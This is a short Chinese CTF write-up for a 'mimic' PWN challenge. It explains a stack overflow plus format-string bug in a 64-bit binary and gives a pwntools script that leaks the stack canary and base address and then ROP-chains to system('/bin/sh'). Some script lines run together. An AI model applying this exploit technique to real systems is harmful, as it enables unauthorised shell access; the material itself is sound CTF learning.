拟态第一题PWN1,首先正常扔进终端分析:64位,除了RELRP开启了一部分外,其余保护机制都开了。
接着来IDA看一看
观察旁边的函数发现居然有system,接着发现了“/bin/sh\x00”
Main函数的逻辑比较简单,分析然后进入func函数,发现两漏洞利用点:
显然栈溢出+格式化字符串漏洞:
思路如下:
泄露canary以及程序基础地址,计算相关地址,而后控制执行流来个简单的64位函数调用:
system(“/bin/sh\x00”)。
这里这个泄露程序基地址快把哥人搞傻了,gdb上明明是第43个,结果远程连接确实第45个,果然拟态。
from pwn import*
#p=remote('172.52.61.160',9999)
context.log_level="debug"
p=process('./123')payload="%33$p%45$p"
p.sendlineafter("something",'2')
p.sendlineafter("hello",payload)
canary = int(p.recvuntil('00'),16)
base =int(p.recvuntil("\n")[:-1],16)-0xb54binsh_ = base+0x202068
#system_= base+0x202030
system_= base +0x0a2c
p_rdi=base+0xc73print("canary: ")
print(hex(canary))
print("base:")
print(hex(base))
payload2='a'*0xc8+p64(canary)+"abcdline"+p64(p_rdi)+p64(binsh_)+p64(system_)
p.sendline(payload2)p.interactive()